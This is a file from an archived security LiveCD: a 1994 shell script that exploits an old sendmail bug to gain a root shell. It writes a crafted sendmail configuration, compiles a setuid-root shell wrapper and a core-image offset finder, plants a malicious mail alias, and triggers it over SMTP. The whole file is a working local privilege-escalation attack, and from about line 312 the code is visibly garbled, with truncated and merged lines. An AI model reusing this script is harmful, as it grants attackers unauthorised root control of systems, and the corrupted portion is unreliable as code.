home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / sendmail / decode.c < prev    next >
Text File  |  2005-02-12  |  13KB  |  398 lines

  1. #           ..:-={{Collaborative Security Information Center}}=-:..
  2. #          X-TREME & TECHNOTRONIC Security Collaboration Project
  3. #     http://www.technotronic.com  -=⌐=-  http://www.x-treme.abyss.com
  4. #
  5. # exploit new sendmail bug to give us a root shell v1.0  24 mar 94
  6. #
  7. # "Long Version" - Since we don't know exactly how to get sendmail
  8. #                  to decode aliases with a small config file, I
  9. #                  took a cf file from pine, trimmed it, and it
  10. #                  works fine.
  11. #
  12. # location of sendmail
  13. SENDMAIL=/usr/lib/sendmail
  14.  
  15. # real location of original sendmail.cf file.. no links allowed!
  16. CONFIG=/etc/sendmail.cf
  17.  
  18. # program to execute as root
  19. SHELL=/bin/csh
  20.  
  21. TEMPDIR=/tmp/sendbug-tmp.$$
  22. mkdir $TEMPDIR
  23. chmod 700 $TEMPDIR
  24. cd $TEMPDIR
  25.  
  26. cp $SENDMAIL sm
  27. chmod 700 sm
  28.  
  29. echo "Creating mail config file..."
  30. cat > /tmp/sm.cf << _EOF_
  31. V5
  32. Cwlocalhost
  33. CP.
  34. DS
  35. DR
  36. DH
  37. DM\$j
  38. CLroot
  39. CEroot
  40. CO @ % !
  41. C..
  42. Kdequote dequote
  43. CPREDIRECT
  44. De\$j Sendmail \$v/\$Z ready at \$b
  45. DlFrom \$g  \$d
  46. DnMAILER-DAEMON
  47. Do.:%@!^/[]
  48. Dq\$?x\$x <\$g>\$|\$g\$.
  49. DZ2.1
  50. O7False
  51. Oa10
  52. OA/tmp/aliases
  53. Ob20
  54. OB.
  55. OcFalse
  56. OC10
  57. Odbackground
  58. ODFalse
  59. Oem
  60. OfTrue
  61. OF0600
  62. OGFalse
  63. Og1
  64. Oh25
  65. OiFalse
  66. OI
  67. OjFalse
  68. OJ\$z/.forward.\$w:\$z/.forward
  69. Ok2
  70. OK5m
  71. OlFalse
  72. OL9
  73. OmTrue
  74. OnTrue
  75. OoTrue
  76. Opneedmailhelo
  77. OQ/var/spool/mqueue
  78. OsTrue
  79. OT3d/4h
  80. Ou0
  81. OU
  82. OwTrue
  83. Ox8
  84. OX12
  85. OYFalse
  86. Pfirst-class=0
  87.              Pspecial-delivery=100
  88.             Plist=-30
  89.                   Pbulk=-60
  90.      Pjunk=-100
  91.            Troot
  92.            Tdaemon
  93.            Tuucp
  94.            H?P?Return-Path: \$g
  95.            HReceived: \$?sfrom \$s \$.\$?_(\$_) \$.by \$j (\$v/\$Z)\$?r with \$r\$. id \$i\$?u for \$u\$.; \$b
  96. H?D?Resent-Date: \$a
  97. H?D?Date: \$a
  98. H?F?Resent-From: \$q
  99. H?F?From: \$q
  100. H?x?Full-Name: \$x
  101. HSubject:
  102. H?M?Resent-Message-Id: <\$t.\$i@\$j>
  103. H?M?Message-Id: <\$t.\$i@\$j>
  104. S3
  105. R\$@ \$@ <@>
  106. R\$*<\$*>\$*<\$*>\$*            \$2\$3<\$4>\$5                  strip multiple <> <>
  107. R\$*<\$*<\$+>\$*>\$*            <\$3>\$5             2-level <> nesting
  108. R\$*<>\$*    \$@ <@>      MAIL FROM:<> case
  109. R\$*<\$+>\$*            \$2          basic RFC821/822 parsing
  110. R\$*:;\$*    \$@ \$1 :; <@>
  111. R@ \$+ , \$+            @ \$1 : \$2  change all "," to ":"
  112. R@ \$+ : \$+            \$@ \$>96 < @\$1 > : \$2                handle <route-addr>
  113. R \$+ : \$* ; @ \$+     \$@ \$>96 \$1 : \$2 ; < @ \$3 > list syntax
  114. R \$+ : \$* ;           \$@ \$1 : \$2;                  list syntax
  115. R\$+ @ \$+              \$: \$1 < @ \$2 >    focus on domain
  116. R\$+ < \$+ @ \$+ >              \$1 \$2 < @ \$3 >    move gaze right
  117. R\$+ < @ \$+ >          \$@ \$>96 \$1 < @ \$2 >         already canonical
  118. R\$- ! \$+              \$@ \$>96 \$2 < @ \$1 .UUCP >   resolve uucp names
  119. R\$+ . \$- ! \$+                \$@ \$>96 \$3 < @ \$1 . \$2 >           domain uucps
  120. R\$+ ! \$+              \$@ \$>96 \$2 < @ \$1 .UUCP >   uucp subdomains
  121. R\$* % \$*              \$1 @ \$2            First make them all @s.
  122. R\$* @ \$* @ \$*                \$1 % \$2 @ \$3                 Undo all but the last.
  123. R\$* @ \$*              \$@ \$>96 \$1 < @ \$2 >         Insert < > and finish
  124. S96
  125. R\$* < @ localhost > \$*                \$: \$1 < @ \$j . > \$2         no domain at all
  126. R\$* < @ localhost . \$m > \$*  \$: \$1 < @ \$j . > \$2         local domain
  127. R\$* < @ localhost . UUCP > \$* \$: \$1 < @ \$j . > \$2         .UUCP domain
  128. R\$* < @ [ \$+ ] > \$*          \$: \$1 < @ [[ \$2 ]] > \$3             catch [a.b.c.d]
  129. R\$* < @ [ \$=w ] > \$*         \$: \$1 < @ \$j . > \$3         self-literal
  130. R\$* < @ [[ \$+ ]] > \$*                \$: \$1 < @ [ \$2 ] > \$3               strip dbl [[]]
  131.   R\$* < @ \$+ . UUCP > \$*               \$@ \$1 < @ \$2 . UUCP > \$3
  132. R\$* < @ \$* \$~P > \$*         \$: \$1 < @ \$[ \$2 \$3 \$] > \$4
  133. R\$* < @ \$j > \$*   \$: \$1 < @ \$j . > \$2
  134.   S4
  135. R\$*<@>                 \$@ \$1      handle <> and list:;
  136. R\$* < @ [ \$+ ] > \$*  \$: \$1 < @ \$[ [\$2] \$] > \$3 lookup numeric internet addr
  137. R\$* < @ \$+ . > \$*    \$1 < @ \$2 > \$3
  138. R\$* < \$+ > \$*                \$1 \$2 \$3  defocus
  139. R@ \$+ : @ \$+ : \$+    @ \$1 , @ \$2 : \$3             <route-addr> canonical
  140. R@ \$*                  \$@ @ \$1            ... and exit
  141. R\$+ @ \$- . UUCP               \$2!\$1      u@h.UUCP => h!u
  142.     R\$+ % \$=w @ \$=w              \$1 @ \$j            u%host@host => u@host
  143.   S97
  144.   R\$* \$: \$>3 \$1
  145.   R\$* \$@ \$>0 \$1
  146.   S0
  147.   R<@> \$#local \$: <>                 special case error msgs
  148.   R\$*:;<@>               \$#error \$@ USAGE \$: "list:; syntax illegal for recipient addresses"
  149. R\$* < @ [ \$+ ] > \$*  \$: \$1 < @ \$[ [\$2] \$] > \$3 numeric internet addr
  150. R\$* < @ [ \$+ ] > \$*  \$: \$>98 \$1 < @ [ \$2 ] > \$3 numeric internet spec
  151. R\$* < @ [ \$+ ] > \$*  \$#smtp \$@ [\$2] \$: \$1 @ [\$2] \$3   still numeric: send
  152. R\$* < @ > \$*          \$@ \$>97 \$1           user@ => user
  153.     R< @ \$=w . > : \$*     \$@ \$>97 \$2           @here:... -> ...
  154.             R\$* \$=O \$* < @ \$=w . >      \$@ \$>97 \$1 \$2 \$3           ...@here -> ...
  155.               R\$* \$: \$>98 \$1
  156.               R\$+ < @ \$=w . >               \$: \$1 < @ \$2 @ \$H >         first try hub
  157.        R\$+ < \$+ @ \$+ >              \$#local \$: \$1     yep ....
  158.        R\$+ < \$+ @ >          \$#local \$: @ \$1   nope, local address
  159.        R< @ \$=Z . UUCP > : \$+                \$#uucp-dom \$@ \$1 \$: \$2     @host.UUCP: ...
  160.                R\$+ < @ \$=Z . UUCP >          \$#uucp-dom \$@ \$2 \$: \$1     user@host.UUCP
  161.         R< @ \$=Y . UUCP > : \$+                \$#suucp \$@ \$1 \$: \$2        @host.UUCP: ...
  162.                 R\$+ < @ \$=Y . UUCP >          \$#suucp \$@ \$2 \$: \$1        user@host.UUCP
  163.          R< @ \$=U . UUCP > : \$+                \$#uucp \$@ \$1 \$: \$2 @host.UUCP: ...
  164.                  R\$+ < @ \$=U . UUCP >          \$#uucp \$@ \$2 \$: \$1 user@host.UUCP
  165.           R\$*<@\$+.BITNET>\$*    \$: \$>95 < \$B > \$1 <@\$2.BITNET> \$3 user@host.BITNET
  166.           R\$*<@\$*.UUCP>\$*              \$: \$>95 < \$Y > \$1 @ <\$2.UUCP> \$3  uucp mail
  167.           R\$* < @ \$* > \$*              \$: \$>95 < \$S > \$1 < @ \$2 > \$3     glue on smarthost name
  168.           R\$* < @\$* > \$*               \$#smtp \$@ \$2 \$: \$1 < @ \$2 > \$3           user@host.domain
  169.           R\$+ \$: \$(dequote \$1 \$)          strip quotes
  170.             R\$+ \$=O \$+           \$@ \$>97 \$1 \$2 \$3try again
  171.                   R\$=L\$#local \$: @ \$1   special local names
  172.    R\$+ \$#local \$: \$1     regular local names
  173.        S5
  174.    R\$+ \$: \$>95 < \$R > \$1try relay
  175.    R\$+ \$: \$>95 < \$H > \$1try hub
  176.            S95
  177.            R< > \$*     \$@ \$1      strip off null relay
  178.    R< \$- : \$+ > \$*              \$# \$1 \$@ \$2 \$: \$3         try qualified mailer
  179.              R< \$=w > \$*           \$@ \$2      delete local host
  180.          R< \$+ > \$*            \$#relay \$@ \$1 \$: \$2                use unqualified mailer
  181. S98
  182.          R\$* < @ \$+ .REDIRECT >        \$# error \$@ NOUSER \$: "551 User not local; please try " <\$1@\$2>
  183. Mlocal,         P=/bin/mail, F=lsDFMfmnPS, S=10, R=20/40,
  184.             A=mail -d \$u
  185.     Mprog,          P=/bin/sh, F=lsDFMeuP, S=10, R=20/40, D=\$z:/,
  186.      A=sh -c \$u
  187.        S10
  188.        R<@> \$n  errors to mailer-daemon
  189.                 R\$+ \$: \$>40 \$1
  190.        S20
  191.                 R\$+ < @ \$* >          \$: \$1                 strip host part
  192.        S40
  193.        Msmtp,          P=[IPC], F=mDFMuX, S=11/31, R=21, E=\r\n,
  194.       L=990, A=IPC \$h
  195.                Mesmtp,         P=[IPC], F=mDFMuXa, S=11/31, R=21, E=\r\n,
  196.                L=990, A=IPC \$h
  197.      Mrelay,         P=[IPC], F=mDFMuXa, S=11/31, R=51, E=\r\n,
  198.      L=2040, A=IPC \$h
  199.                S11
  200.      R\$+ \$: \$>51 \$1sender/recipient common
  201.      R\$* :; <@>             \$@ \$1 :;   list:; special case
  202.   R\$* < @ \$* > \$*              \$@ \$1 < @ \$2 > \$3           already qualified
  203.   R\$* \$@ \$>61 \$1
  204.   R\$+ \$: \$>51 \$1
  205. R\$* < @ \$* > \$*              \$@ \$1 < @ \$2 > \$3           already qualified
  206. R\$+ \$: \$1 < @ \$j >    add local domain
  207. S31
  208. R\$+ \$: \$>51 \$1sender/recipient common
  209. R\$* :; <@>             \$@ \$1 :;   list:; special case
  210.   R\$* <@> \$*            \$@ \$1 <@> \$2                 pass null host through
  211.   R< @ \$* > \$*          \$@ < @ \$1 > \$2    pass route-addr through
  212.   R\$=E < @ \$=w . >      \$@ \$1 < @ \$2 >    exposed user as is
  213.                R\$* < @ \$=w . >               \$: \$1 < @ \$M >    masquerade as domain
  214. R\$* < @ >              \$: \$1 < @ \$j >    in case \$M undefined
  215.   R\$* < @ \$* > \$*              \$@ \$1 < @ \$2 > \$3           already qualified
  216.   R\$* \$@ \$>61 \$1
  217.   S51
  218.   R< @ \$+ > \$*          \$@ < @ \$1 > \$2    resolve <route-addr>
  219.   R\$+ <@ \$+ . BITNET >  \$: \$1 % \$2 .BITNET < @ \$B > user@host.BITNET
  220. R\$+.BITNET <@ \$+:\$+ >        \$: \$1 .BITNET < @ \$3 >               strip mailer: part
  221. R\$+ <@ \$+ . UUCP >    \$: \$2 ! \$1 < @ \$j >         user@host.UUCP
  222. S61
  223. R\$=E\$@ \$1 < @ \$j>     show exposed names
  224.     R\$+ \$: \$1 < @ \$M >    user w/o host
  225.     R\$+ <@>     \$: \$1 < @ \$j >    in case \$M undefined
  226.       Muucp,          P=/usr/bin/uux, F=DFMhuU, S=12, R=22, M=100000,
  227.   A=uux - -r -z -a\$f -gC \$h!rmail (\$u)
  228.     Msuucp,         P=/usr/bin/uux, F=mDFMhuU, S=12, R=22, M=100000,
  229. A=uux - -r -z -a\$f -gC \$h!rmail (\$u)
  230.   Muucp-dom,      P=/usr/bin/uux, F=mDFMhu, S=52/31, R=21, M=100000,
  231.                  A=uux - -r -z -a\$f -gC \$h!rmail (\$u)
  232. S12
  233. R<@>         \$n  errors to mailer-daemon
  234.                  R\$* :; <@>  \$@ \$1 :;
  235. R\$* < @ \$* . >     \$1 < @ \$2 >           strip trailing dots
  236. R\$* < @ \$j >                  \$1  strip local name
  237. R\$* < @ \$- . UUCP >           \$2 ! \$1    convert to UUCP format
  238. R\$* < @ \$+ >                  \$2 ! \$1    convert to UUCP format
  239. R\$+         \$: \$U ! \$1           prepend our name
  240. S22
  241. R\$* :; <@>  \$@ \$1 ;:
  242. R\$* < @ \$* . >     \$1 < @ \$2 >           strip trailing dots
  243. R\$* < @ \$j >                  \$1  strip local name
  244. R\$* < @ \$- . UUCP >           \$2 ! \$1    convert to UUCP format
  245. R\$* < @ \$+ >                  \$2 ! \$1    convert to UUCP format
  246. S52
  247. R<@>         \$n  errors to mailer-daemon
  248. R\$*         \$@ \$>11 \$1
  249. _EOF_
  250.  
  251. echo "Creating setid0..."
  252. cat > setid.c << _EOF_
  253.  
  254. /* set uid to zero, thus escaping the annoying csh and solaris sh
  255. * problem..
  256. *
  257. * if (getuid() != geteuid()) {
  258. *  printf("permission denied, you root-hacker you.\n");
  259. *  exit(1);
  260. * }
  261. */
  262.  
  263. #include <stdio.h>
  264.  
  265. main(argc, argv)
  266. int argc;
  267. char *argv[];
  268. {
  269.   setuid(0);
  270.   setgid(0);
  271.   seteuid(0);
  272.   setegid(0);
  273.  
  274.   if (getuid()) {
  275.       printf("setuid(0); failed!  aborting..\n");
  276.       exit(1);
  277.     }
  278.  
  279.   if (argc !=2) {
  280.       printf("executing /bin/sh...\n");
  281.       system("/bin/sh");
  282.     }
  283.   else
  284.     {
  285.       printf("executing %s...\n", argv[1]);
  286.       system(argv[1]);
  287.     }
  288. }
  289. _EOF_
  290.  
  291. cc -o setid0 setid.c
  292.  
  293. echo "Creating calc..."
  294.  
  295. cat > calc.c << _EOF_
  296. /*
  297. * Determines offset in sendmail of
  298. * sendmail.cf file location.
  299. */
  300. #include <fcntl.h>
  301.  
  302. gencore()
  303. {
  304.   int pid;
  305.   int fd[2];
  306.  
  307.   if(pi(fd) < 0) {
  308.       perror("pipe");
  309.       exit(1);
  310.       return(0);
  311.     }
  312.   pid = fork(nt f = open("./out", ORDWR|O_CREAT, 0666);
  313.              dup2(f, 1); dup2(fd[0], 0);
  314.              close(fd[1]); close(fd[0]);
  315.              execl("./s","sm","-d0-9.90","-oQ.","-bs", 0);
  316.              sleep(2);
  317.              kill(pid, 11);
  318.            }
  319.           );
  320. close(fd[1]);
  321. }
  322.  
  323. main(argc,ar **agv;
  324. int argc;
  325. {
  326.   unsigned int ConfFile,tTdvect,off;
  327.  
  328.   gencore();
  329.   sc(orever to figure this out. */
  330.      tTdvect = find("ZZZZZZZZ", "core");
  331.      ConfFile =);
  332.   le) {
  333.     /*
  334.     *not found, argh, we fucked up.  should not happen, unless you
  335.     $CONFIG filename or you don't have the bug.
  336.     * There could also be a probation data
  337.     * being encrypted in some lame fashion or a corewas not able
  338.     to be generated (Reports say in some systems, a SEGV will
  339.     * cause sendmail  there w    * can still be done by hand :-)
  340.     */
  341.     return(1);
  342.   }
  343.   off = ConfFiletf(.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n",
  344. off, '/', off+, 't', off+2, ''/', off+5, 'f7, '.', off+8, 'c', off+9, 'f', off+10);
  345.                  }
  346.  
  347. int find(pattern, file
  348. char *pafd;
  349. ;
  350.  
  351. fd = open(file, 0);
  352.  
  353. i = 0;
  354. addr = 0;
  355. while(read(fd, &c, 1) == 1f(pattern[i] == c)
  356. i++;
  357. elsatteraddr -= strlen(attern);
  358. return(addr);
  359.                  }
  360. addr++;
  361.                  }
  362. return(0-o ca"Scanning core image for $CONFIG.."
  363.  
  364. DEBUGFLAGS=`calc $CONFIG`
  365.  
  366. echo ..."
  367. echo "#!/bin/sh
  368. # this program will be executed when mailis sent to the faris sh and run hen euid != realuid,
  369. # we instead run the program we compiled above.
  370. od 6755 $TEMPDIR/setid0
  371. /bin/chown root $TEMPDIR/setid0
  372.  
  373. " > alias.sh
  374.  
  375. chm.she alias file..."
  376.                  echo "yash: |$TEMPDIR/alias.sh" > /tmp/aliases
  377.  
  378. echo "Makin..."
  379. echo "
  380. helo
  381.                  mail from: <nobody>
  382.                  rcpt to: <yash>
  383. data
  384. hack hack hack
  385. .
  386. IL $DEBUGFLAGSle sytems so it appears as a suid file.
  387. sync
  388.  
  389. # cleanup in 4 s rm -f $TEMPDIR ; rm -f /tmp/sm.cf ; rm -f /tmp/aliases) etid0 ]
  390. then
  391. echo "stid0 is a suid shell.  executing..."
  392. $TEMecho "end of script."
  393. exit 0
  394. else
  395.   echo "setid0 is nopt failed."
  396.   exit 1
  397.   fi
  398.